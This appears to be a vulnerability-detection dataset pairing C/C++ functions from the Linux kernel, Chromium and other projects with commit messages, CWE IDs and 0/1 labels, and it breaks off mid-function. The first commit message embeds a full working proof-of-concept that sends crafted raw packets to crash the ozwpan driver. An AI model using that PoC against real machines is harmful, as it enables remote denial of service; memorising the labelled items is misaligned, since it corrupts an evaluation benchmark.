Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int oz_dequeue_ep_urb(struct oz_port *port, u8 ep_addr, int in_dir,
struct urb *urb)
{
struct oz_urb_link *urbl = NULL;
struct oz_endpoint *ep;
spin_lock_bh(&port->ozhcd->hcd_lock);
if (in_dir)
ep = port->in_ep[ep_addr];
else
ep = port->out_ep[ep_addr];
if (ep) {
struct list_head *e;
list_for_each(e, &ep->urb_list) {
urbl = list_entry(e, struct oz_urb_link, link);
if (urbl->urb == urb) {
list_del_init(e);
break;
}
urbl = NULL;
}
}
spin_unlock_bh(&port->ozhcd->hcd_lock);
oz_free_urb_link(urbl);
return urbl ? 0 : -EIDRM;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 43,164
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SiteInstanceTest()
: ui_thread_(BrowserThread::UI, &message_loop_),
file_user_blocking_thread_(BrowserThread::FILE_USER_BLOCKING,
&message_loop_),
io_thread_(BrowserThread::IO, &message_loop_),
old_browser_client_(NULL) {
}
Commit Message: Check for appropriate bindings in process-per-site mode.
BUG=174059
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12188025
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@181386 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 116,726
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BrowserView::BrowserView(Browser* browser)
: views::ClientView(NULL, NULL),
last_focused_view_storage_id_(
views::ViewStorage::GetInstance()->CreateStorageID()),
frame_(NULL),
browser_(browser),
active_bookmark_bar_(NULL),
tabstrip_(NULL),
toolbar_(NULL),
window_switcher_button_(NULL),
infobar_container_(NULL),
contents_container_(NULL),
devtools_container_(NULL),
contents_(NULL),
contents_split_(NULL),
devtools_dock_side_(DEVTOOLS_DOCK_SIDE_BOTTOM),
devtools_window_(NULL),
initialized_(false),
ignore_layout_(true),
#if defined(OS_WIN) && !defined(USE_AURA)
hung_window_detector_(&hung_plugin_action_),
ticker_(0),
#endif
force_location_bar_focus_(false),
ALLOW_THIS_IN_INITIALIZER_LIST(color_change_listener_(this)),
ALLOW_THIS_IN_INITIALIZER_LIST(activate_modal_dialog_factory_(this)) {
browser_->tab_strip_model()->AddObserver(this);
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 118,303
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace)
{
int retval;
struct task_struct *p;
if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))
return ERR_PTR(-EINVAL);
/*
* Thread groups must share signals as well, and detached threads
* can only be started up within the thread group.
*/
if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND))
return ERR_PTR(-EINVAL);
/*
* Shared signal handlers imply shared VM. By way of the above,
* thread groups also imply shared VM. Blocking this case allows
* for various simplifications in other code.
*/
if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM))
return ERR_PTR(-EINVAL);
/*
* Siblings of global init remain as zombies on exit since they are
* not reaped by their parent (swapper). To solve this and to avoid
* multi-rooted process trees, prevent global and container-inits
* from creating siblings.
*/
if ((clone_flags & CLONE_PARENT) &&
current->signal->flags & SIGNAL_UNKILLABLE)
return ERR_PTR(-EINVAL);
/*
* If the new process will be in a different pid namespace
* don't allow the creation of threads.
*/
if ((clone_flags & (CLONE_VM|CLONE_NEWPID)) &&
(task_active_pid_ns(current) != current->nsproxy->pid_ns))
return ERR_PTR(-EINVAL);
retval = security_task_create(clone_flags);
if (retval)
goto fork_out;
retval = -ENOMEM;
p = dup_task_struct(current);
if (!p)
goto fork_out;
ftrace_graph_init_task(p);
get_seccomp_filter(p);
rt_mutex_init_task(p);
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE) &&
p->real_cred->user != INIT_USER)
goto bad_fork_free;
}
current->flags &= ~PF_NPROC_EXCEEDED;
retval = copy_creds(p, clone_flags);
if (retval < 0)
goto bad_fork_free;
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
retval = -EAGAIN;
if (nr_threads >= max_threads)
goto bad_fork_cleanup_count;
if (!try_module_get(task_thread_info(p)->exec_domain->module))
goto bad_fork_cleanup_count;
p->did_exec = 0;
delayacct_tsk_init(p); /* Must remain after dup_task_struct() */
copy_flags(clone_flags, p);
INIT_LIST_HEAD(&p->children);
INIT_LIST_HEAD(&p->sibling);
rcu_copy_process(p);
p->vfork_done = NULL;
spin_lock_init(&p->alloc_lock);
init_sigpending(&p->pending);
p->utime = p->stime = p->gtime = 0;
p->utimescaled = p->stimescaled = 0;
#ifndef CONFIG_VIRT_CPU_ACCOUNTING
p->prev_cputime.utime = p->prev_cputime.stime = 0;
#endif
#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
seqlock_init(&p->vtime_seqlock);
p->vtime_snap = 0;
p->vtime_snap_whence = VTIME_SLEEPING;
#endif
#if defined(SPLIT_RSS_COUNTING)
memset(&p->rss_stat, 0, sizeof(p->rss_stat));
#endif
p->default_timer_slack_ns = current->timer_slack_ns;
task_io_accounting_init(&p->ioac);
acct_clear_integrals(p);
posix_cpu_timers_init(p);
do_posix_clock_monotonic_gettime(&p->start_time);
p->real_start_time = p->start_time;
monotonic_to_bootbased(&p->real_start_time);
p->io_context = NULL;
p->audit_context = NULL;
if (clone_flags & CLONE_THREAD)
threadgroup_change_begin(current);
cgroup_fork(p);
#ifdef CONFIG_NUMA
p->mempolicy = mpol_dup(p->mempolicy);
if (IS_ERR(p->mempolicy)) {
retval = PTR_ERR(p->mempolicy);
p->mempolicy = NULL;
goto bad_fork_cleanup_cgroup;
}
mpol_fix_fork_child_flag(p);
#endif
#ifdef CONFIG_CPUSETS
p->cpuset_mem_spread_rotor = NUMA_NO_NODE;
p->cpuset_slab_spread_rotor = NUMA_NO_NODE;
seqcount_init(&p->mems_allowed_seq);
#endif
#ifdef CONFIG_TRACE_IRQFLAGS
p->irq_events = 0;
p->hardirqs_enabled = 0;
p->hardirq_enable_ip = 0;
p->hardirq_enable_event = 0;
p->hardirq_disable_ip = _THIS_IP_;
p->hardirq_disable_event = 0;
p->softirqs_enabled = 1;
p->softirq_enable_ip = _THIS_IP_;
p->softirq_enable_event = 0;
p->softirq_disable_ip = 0;
p->softirq_disable_event = 0;
p->hardirq_context = 0;
p->softirq_context = 0;
#endif
#ifdef CONFIG_LOCKDEP
p->lockdep_depth = 0; /* no locks held yet */
p->curr_chain_key = 0;
p->lockdep_recursion = 0;
#endif
#ifdef CONFIG_DEBUG_MUTEXES
p->blocked_on = NULL; /* not blocked yet */
#endif
#ifdef CONFIG_MEMCG
p->memcg_batch.do_batch = 0;
p->memcg_batch.memcg = NULL;
#endif
/* Perform scheduler related setup. Assign this task to a CPU. */
sched_fork(p);
retval = perf_event_init_task(p);
if (retval)
goto bad_fork_cleanup_policy;
retval = audit_alloc(p);
if (retval)
goto bad_fork_cleanup_policy;
/* copy all the process information */
retval = copy_semundo(clone_flags, p);
if (retval)
goto bad_fork_cleanup_audit;
retval = copy_files(clone_flags, p);
if (retval)
goto bad_fork_cleanup_semundo;
retval = copy_fs(clone_flags, p);
if (retval)
goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
if (retval)
goto bad_fork_cleanup_fs;
retval = copy_signal(clone_flags, p);
if (retval)
goto bad_fork_cleanup_sighand;
retval = copy_mm(clone_flags, p);
if (retval)
goto bad_fork_cleanup_signal;
retval = copy_namespaces(clone_flags, p);
if (retval)
goto bad_fork_cleanup_mm;
retval = copy_io(clone_flags, p);
if (retval)
goto bad_fork_cleanup_namespaces;
retval = copy_thread(clone_flags, stack_start, stack_size, p);
if (retval)
goto bad_fork_cleanup_io;
if (pid != &init_struct_pid) {
retval = -ENOMEM;
pid = alloc_pid(p->nsproxy->pid_ns);
if (!pid)
goto bad_fork_cleanup_io;
}
p->pid = pid_nr(pid);
p->tgid = p->pid;
if (clone_flags & CLONE_THREAD)
p->tgid = current->tgid;
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
/*
* Clear TID on mm_release()?
*/
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr : NULL;
#ifdef CONFIG_BLOCK
p->plug = NULL;
#endif
#ifdef CONFIG_FUTEX
p->robust_list = NULL;
#ifdef CONFIG_COMPAT
p->compat_robust_list = NULL;
#endif
INIT_LIST_HEAD(&p->pi_state_list);
p->pi_state_cache = NULL;
#endif
uprobe_copy_process(p);
/*
* sigaltstack should be cleared when sharing the same VM
*/
if ((clone_flags & (CLONE_VM|CLONE_VFORK)) == CLONE_VM)
p->sas_ss_sp = p->sas_ss_size = 0;
/*
* Syscall tracing and stepping should be turned off in the
* child regardless of CLONE_PTRACE.
*/
user_disable_single_step(p);
clear_tsk_thread_flag(p, TIF_SYSCALL_TRACE);
#ifdef TIF_SYSCALL_EMU
clear_tsk_thread_flag(p, TIF_SYSCALL_EMU);
#endif
clear_all_latency_tracing(p);
/* ok, now we should be set up.. */
if (clone_flags & CLONE_THREAD)
p->exit_signal = -1;
else if (clone_flags & CLONE_PARENT)
p->exit_signal = current->group_leader->exit_signal;
else
p->exit_signal = (clone_flags & CSIGNAL);
p->pdeath_signal = 0;
p->exit_state = 0;
p->nr_dirtied = 0;
p->nr_dirtied_pause = 128 >> (PAGE_SHIFT - 10);
p->dirty_paused_when = 0;
/*
* Ok, make it visible to the rest of the system.
* We dont wake it up yet.
*/
p->group_leader = p;
INIT_LIST_HEAD(&p->thread_group);
p->task_works = NULL;
/* Need tasklist lock for parent etc handling! */
write_lock_irq(&tasklist_lock);
/* CLONE_PARENT re-uses the old parent */
if (clone_flags & (CLONE_PARENT|CLONE_THREAD)) {
p->real_parent = current->real_parent;
p->parent_exec_id = current->parent_exec_id;
} else {
p->real_parent = current;
p->parent_exec_id = current->self_exec_id;
}
spin_lock(¤t->sighand->siglock);
/*
* Process group and session signals need to be delivered to just the
* parent before the fork or both the parent and the child after the
* fork. Restart if a signal comes in before we add the new process to
* it's process group.
* A fatal signal pending means that current will exit, so the new
* thread can't slip out of an OOM kill (or normal SIGKILL).
*/
recalc_sigpending();
if (signal_pending(current)) {
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
retval = -ERESTARTNOINTR;
goto bad_fork_free_pid;
}
if (clone_flags & CLONE_THREAD) {
current->signal->nr_threads++;
atomic_inc(¤t->signal->live);
atomic_inc(¤t->signal->sigcnt);
p->group_leader = current->group_leader;
list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group);
}
if (likely(p->pid)) {
ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
if (thread_group_leader(p)) {
if (is_child_reaper(pid)) {
ns_of_pid(pid)->child_reaper = p;
p->signal->flags |= SIGNAL_UNKILLABLE;
}
p->signal->leader_pid = pid;
p->signal->tty = tty_kref_get(current->signal->tty);
attach_pid(p, PIDTYPE_PGID, task_pgrp(current));
attach_pid(p, PIDTYPE_SID, task_session(current));
list_add_tail(&p->sibling, &p->real_parent->children);
list_add_tail_rcu(&p->tasks, &init_task.tasks);
__this_cpu_inc(process_counts);
}
attach_pid(p, PIDTYPE_PID, pid);
nr_threads++;
}
total_forks++;
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
proc_fork_connector(p);
cgroup_post_fork(p);
if (clone_flags & CLONE_THREAD)
threadgroup_change_end(current);
perf_event_fork(p);
trace_task_newtask(p, clone_flags);
return p;
bad_fork_free_pid:
if (pid != &init_struct_pid)
free_pid(pid);
bad_fork_cleanup_io:
if (p->io_context)
exit_io_context(p);
bad_fork_cleanup_namespaces:
exit_task_namespaces(p);
bad_fork_cleanup_mm:
if (p->mm)
mmput(p->mm);
bad_fork_cleanup_signal:
if (!(clone_flags & CLONE_THREAD))
free_signal_struct(p->signal);
bad_fork_cleanup_sighand:
__cleanup_sighand(p->sighand);
bad_fork_cleanup_fs:
exit_fs(p); /* blocking */
bad_fork_cleanup_files:
exit_files(p); /* blocking */
bad_fork_cleanup_semundo:
exit_sem(p);
bad_fork_cleanup_audit:
audit_free(p);
bad_fork_cleanup_policy:
perf_event_free_task(p);
#ifdef CONFIG_NUMA
mpol_put(p->mempolicy);
bad_fork_cleanup_cgroup:
#endif
if (clone_flags & CLONE_THREAD)
threadgroup_change_end(current);
cgroup_exit(p, 0);
delayacct_tsk_free(p);
module_put(task_thread_info(p)->exec_domain->module);
bad_fork_cleanup_count:
atomic_dec(&p->cred->user->processes);
exit_creds(p);
bad_fork_free:
free_task(p);
fork_out:
return ERR_PTR(retval);
}
Commit Message: userns: Don't allow CLONE_NEWUSER | CLONE_FS
Don't allowing sharing the root directory with processes in a
different user namespace. There doesn't seem to be any point, and to
allow it would require the overhead of putting a user namespace
reference in fs_struct (for permission checks) and incrementing that
reference count on practically every call to fork.
So just perform the inexpensive test of forbidding sharing fs_struct
acrosss processes in different user namespaces. We already disallow
other forms of threading when unsharing a user namespace so this
should be no real burden in practice.
This updates setns, clone, and unshare to disallow multiple user
namespaces sharing an fs_struct.
Cc: stable@vger.kernel.org
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 1
| 166,107
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: pdf_cache_object(fz_context *ctx, pdf_document *doc, int num)
{
pdf_xref_entry *x;
int rnum, rgen, try_repair;
fz_var(try_repair);
if (num <= 0 || num >= pdf_xref_len(ctx, doc))
fz_throw(ctx, FZ_ERROR_GENERIC, "object out of range (%d 0 R); xref size %d", num, pdf_xref_len(ctx, doc));
object_updated:
try_repair = 0;
rnum = num;
x = pdf_get_xref_entry(ctx, doc, num);
if (x->obj != NULL)
return x;
if (x->type == 'f')
{
x->obj = pdf_new_null(ctx, doc);
}
else if (x->type == 'n')
{
fz_seek(ctx, doc->file, x->ofs, SEEK_SET);
fz_try(ctx)
{
x->obj = pdf_parse_ind_obj(ctx, doc, doc->file, &doc->lexbuf.base,
&rnum, &rgen, &x->stm_ofs, &try_repair);
}
fz_catch(ctx)
{
if (!try_repair || fz_caught(ctx) == FZ_ERROR_TRYLATER)
fz_rethrow(ctx);
}
if (!try_repair && rnum != num)
{
pdf_drop_obj(ctx, x->obj);
x->type = 'f';
x->ofs = -1;
x->gen = 0;
x->num = 0;
x->stm_ofs = 0;
x->obj = NULL;
try_repair = (doc->repair_attempted == 0);
}
if (try_repair)
{
fz_try(ctx)
{
pdf_repair_xref(ctx, doc);
pdf_prime_xref_index(ctx, doc);
pdf_repair_obj_stms(ctx, doc);
}
fz_catch(ctx)
{
if (rnum == num)
fz_throw(ctx, FZ_ERROR_GENERIC, "cannot parse object (%d 0 R)", num);
else
fz_throw(ctx, FZ_ERROR_GENERIC, "found object (%d 0 R) instead of (%d 0 R)", rnum, num);
}
goto object_updated;
}
if (doc->crypt)
pdf_crypt_obj(ctx, doc->crypt, x->obj, x->num, x->gen);
}
else if (x->type == 'o')
{
if (!x->obj)
{
x = pdf_load_obj_stm(ctx, doc, x->ofs, &doc->lexbuf.base, num);
if (x == NULL)
fz_throw(ctx, FZ_ERROR_GENERIC, "cannot load object stream containing object (%d 0 R)", num);
if (!x->obj)
fz_throw(ctx, FZ_ERROR_GENERIC, "object (%d 0 R) was not found in its object stream", num);
}
}
else if (doc->hint_obj_offsets && read_hinted_object(ctx, doc, num))
{
goto object_updated;
}
else if (doc->file_length && doc->linear_pos < doc->file_length)
{
fz_throw(ctx, FZ_ERROR_TRYLATER, "cannot find object in xref (%d 0 R) - not loaded yet?", num);
}
else
{
fz_throw(ctx, FZ_ERROR_GENERIC, "cannot find object in xref (%d 0 R)", num);
}
pdf_set_obj_parent(ctx, x->obj, num);
return x;
}
Commit Message:
CWE ID: CWE-119
| 0
| 16,695
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PlatformSensor::NotifySensorError() {
for (auto& client : clients_)
client.OnSensorError();
}
Commit Message: android: Fix sensors in device service.
This patch fixes a bug that prevented more than one sensor data
to be available at once when using the device motion/orientation
API.
The issue was introduced by this other patch [1] which fixed
some security-related issues in the way shared memory region
handles are managed throughout Chromium (more details at
https://crbug.com/789959).
The device service´s sensor implementation doesn´t work
correctly because it assumes it is possible to create a
writable mapping of a given shared memory region at any
time. This assumption is not correct on Android, once an
Ashmem region has been turned read-only, such mappings
are no longer possible.
To fix the implementation, this CL changes the following:
- PlatformSensor used to require moving a
mojo::ScopedSharedBufferMapping into the newly-created
instance. Said mapping being owned by and destroyed
with the PlatformSensor instance.
With this patch, the constructor instead takes a single
pointer to the corresponding SensorReadingSharedBuffer,
i.e. the area in memory where the sensor-specific
reading data is located, and can be either updated
or read-from.
Note that the PlatformSensor does not own the mapping
anymore.
- PlatformSensorProviderBase holds the *single* writable
mapping that is used to store all SensorReadingSharedBuffer
buffers. It is created just after the region itself,
and thus can be used even after the region's access
mode has been changed to read-only.
Addresses within the mapping will be passed to
PlatformSensor constructors, computed from the
mapping's base address plus a sensor-specific
offset.
The mapping is now owned by the
PlatformSensorProviderBase instance.
Note that, security-wise, nothing changes, because all
mojo::ScopedSharedBufferMapping before the patch actually
pointed to the same writable-page in memory anyway.
Since unit or integration tests didn't catch the regression
when [1] was submitted, this patch was tested manually by
running a newly-built Chrome apk in the Android emulator
and on a real device running Android O.
[1] https://chromium-review.googlesource.com/c/chromium/src/+/805238
BUG=805146
R=mattcary@chromium.org,alexilin@chromium.org,juncai@chromium.org,reillyg@chromium.org
Change-Id: I7d60a1cad278f48c361d2ece5a90de10eb082b44
Reviewed-on: https://chromium-review.googlesource.com/891180
Commit-Queue: David Turner <digit@chromium.org>
Reviewed-by: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Matthew Cary <mattcary@chromium.org>
Reviewed-by: Alexandr Ilin <alexilin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#532607}
CWE ID: CWE-732
| 0
| 148,917
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: LIBOPENMPT_MODPLUG_API void ModPlug_Seek(ModPlugFile* file, int millisecond)
{
if(!file) return;
openmpt_module_set_position_seconds(file->mod,(double)millisecond*0.001);
}
Commit Message: [Fix] libmodplug: C API: Limit the length of strings copied to the output buffer of ModPlug_InstrumentName() and ModPlug_SampleName() to 32 bytes (including terminating null) as is done by original libmodplug. This avoids potential buffer overflows in software relying on this limit instead of querying the required buffer size beforehand. libopenmpt can return strings longer than 32 bytes here beacuse the internal limit of 32 bytes applies to strings encoded in arbitrary character encodings but the API returns them converted to UTF-8, which can be longer. (reported by Antonio Morales Maldonado of Semmle Security Research Team)
git-svn-id: https://source.openmpt.org/svn/openmpt/trunk/OpenMPT@12127 56274372-70c3-4bfc-bfc3-4c3a0b034d27
CWE ID: CWE-120
| 0
| 87,646
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParseCheckTransition(xmlParserCtxtPtr ctxt, const char *chunk, int size) {
if ((ctxt == NULL) || (chunk == NULL) || (size < 0))
return(-1);
if (ctxt->instate == XML_PARSER_START_TAG) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
if (ctxt->progressive == XML_PARSER_COMMENT) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
if (ctxt->instate == XML_PARSER_CDATA_SECTION) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
if (ctxt->progressive == XML_PARSER_PI) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
if (ctxt->instate == XML_PARSER_END_TAG) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
if ((ctxt->progressive == XML_PARSER_DTD) ||
(ctxt->instate == XML_PARSER_DTD)) {
if (memchr(chunk, '>', size) != NULL)
return(1);
return(0);
}
return(1);
}
Commit Message: Detect infinite recursion in parameter entities
When expanding a parameter entity in a DTD, infinite recursion could
lead to an infinite loop or memory exhaustion.
Thanks to Wei Lei for the first of many reports.
Fixes bug 759579.
CWE ID: CWE-835
| 0
| 59,462
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmx_flush_log_dirty(struct kvm *kvm)
{
kvm_flush_pml_buffers(kvm);
}
Commit Message: KVM: x86: work around infinite loop in microcode when #AC is delivered
It was found that a guest can DoS a host by triggering an infinite
stream of "alignment check" (#AC) exceptions. This causes the
microcode to enter an infinite loop where the core never receives
another interrupt. The host kernel panics pretty quickly due to the
effects (CVE-2015-5307).
Signed-off-by: Eric Northup <digitaleric@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-399
| 0
| 42,746
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DispatchKeyReleaseA() {
#if defined(OS_WIN)
MSG native_event_down = { NULL, WM_KEYDOWN, ui::VKEY_A, 0 };
ash::Shell::GetRootWindow()->PostNativeEvent(native_event_down);
MSG native_event_up = { NULL, WM_KEYUP, ui::VKEY_A, 0 };
ash::Shell::GetRootWindow()->PostNativeEvent(native_event_up);
#elif defined(USE_X11)
XEvent native_event;
ui::InitXKeyEventForTesting(ui::ET_KEY_PRESSED,
ui::VKEY_A,
0,
&native_event);
ash::Shell::GetRootWindow()->PostNativeEvent(&native_event);
ui::InitXKeyEventForTesting(ui::ET_KEY_RELEASED,
ui::VKEY_A,
0,
&native_event);
ash::Shell::GetRootWindow()->PostNativeEvent(&native_event);
#endif
ash::Shell::GetRootWindow()->PostNativeEvent(ui::CreateNoopEvent());
}
Commit Message: accelerators: Remove deprecated Accelerator ctor that takes booleans.
BUG=128242
R=ben@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10399085
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137957 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 106,529
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: vc4_get_bcl(struct drm_device *dev, struct vc4_exec_info *exec)
{
struct drm_vc4_submit_cl *args = exec->args;
void *temp = NULL;
void *bin;
int ret = 0;
uint32_t bin_offset = 0;
uint32_t shader_rec_offset = roundup(bin_offset + args->bin_cl_size,
16);
uint32_t uniforms_offset = shader_rec_offset + args->shader_rec_size;
uint32_t exec_size = uniforms_offset + args->uniforms_size;
uint32_t temp_size = exec_size + (sizeof(struct vc4_shader_state) *
args->shader_rec_count);
struct vc4_bo *bo;
if (uniforms_offset < shader_rec_offset ||
exec_size < uniforms_offset ||
args->shader_rec_count >= (UINT_MAX /
sizeof(struct vc4_shader_state)) ||
temp_size < exec_size) {
DRM_ERROR("overflow in exec arguments\n");
goto fail;
}
/* Allocate space where we'll store the copied in user command lists
* and shader records.
*
* We don't just copy directly into the BOs because we need to
* read the contents back for validation, and I think the
* bo->vaddr is uncached access.
*/
temp = drm_malloc_ab(temp_size, 1);
if (!temp) {
DRM_ERROR("Failed to allocate storage for copying "
"in bin/render CLs.\n");
ret = -ENOMEM;
goto fail;
}
bin = temp + bin_offset;
exec->shader_rec_u = temp + shader_rec_offset;
exec->uniforms_u = temp + uniforms_offset;
exec->shader_state = temp + exec_size;
exec->shader_state_size = args->shader_rec_count;
if (copy_from_user(bin,
(void __user *)(uintptr_t)args->bin_cl,
args->bin_cl_size)) {
ret = -EFAULT;
